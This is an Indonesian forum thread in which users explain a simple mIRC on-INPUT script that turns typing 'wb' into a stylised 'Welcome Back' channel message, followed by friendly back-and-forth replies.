if ($left($1,1) = /) { return } <---- 2
if ($1 == wb) { /msg $active Wëlçømë BãçK $2- | halt } <---- 3

itu kayaknya dah jelas commandnya biar ga perlu dijelasin..

1. On input = maksudnya sc itu akan aktif pada saat kita menginputkan karakter spesifik yg di input di command berikutnya
2 & 3 = Input yg dimasukkan dalam sc itu ( contoh kasus : if ($1 == wb)) <-- maksudnya saat mengetikkan wb maka otomatis di chan akan muncul output yg kita masukkan, kalo di sc`a masta penjahat IF itu adalah Wëlçømë BãçK.. dan itu bisa kita ganti2 lagi sesuka hati kita, n command dasar untuk ini bisa kita praktekkan juga di tab alias di mirc Script editor,.,.

hkhkhkhkh,, maap dah lancang eaa, bkan maksud mo menggurui ataw mo sok jago, cma kebetulan aja saia bisa, jadi yah itung2 cari amal buat nanggapin postingannya

 

[The DoCKtoR]

The DoCKtoR : menanggapi postingan anda untuk masta Penjahat IF....

on *:INPUT:*: { <---- 1
if ($left($1,1) = /) { return } <---- 2
if ($1 == wb) { /msg $active Wëlçømë BãçK $2- | halt } <---- 3

itu kayaknya dah jelas commandnya biar ga perlu dijelasin..

1. On input = maksudnya sc itu akan aktif pada saat kita menginputkan karakter spesifik yg di input di command berikutnya
2 & 3 = Input yg dimasukkan dalam sc itu ( contoh kasus : if ($1 == wb)) <-- maksudnya saat mengetikkan wb maka otomatis di chan akan muncul output yg kita masukkan, kalo di sc`a masta penjahat IF itu adalah Wëlçømë BãçK.. dan itu bisa kita ganti2 lagi sesuka hati kita, n command dasar untuk ini bisa kita praktekkan juga di tab alias di mirc Script editor,.,.

hkhkhkhkh,, maap dah lancang eaa, bkan maksud mo menggurui ataw mo sok jago, cma kebetulan aja saia bisa, jadi yah itung2 cari amal buat nanggapin postingannya

oceh dah master Dede makasih atas penjelasannya...!!

much ~~~~

 

[DurjanA]

wekz,.,. masteran,
saia masih anak baru di mIRC ehk, mash banyak yg perlu di pelajari, di perhatikan, n di praktekkan

 

[The DoCKtoR]

wekz,.,. masteran,
saia masih anak baru di mIRC ehk, mash banyak yg perlu di pelajari, di perhatikan, n di praktekkan

wwkwkwkkkwkw

tapi se tau saya yg namanya si dede itu master di mIRC

 

[DurjanA]

kayaknya bukan saia deh

masih banyak yg punya kemampuan lebih dari saia

 

[ridwan80]

kalau scriptsi boleh ditaruk disini g ya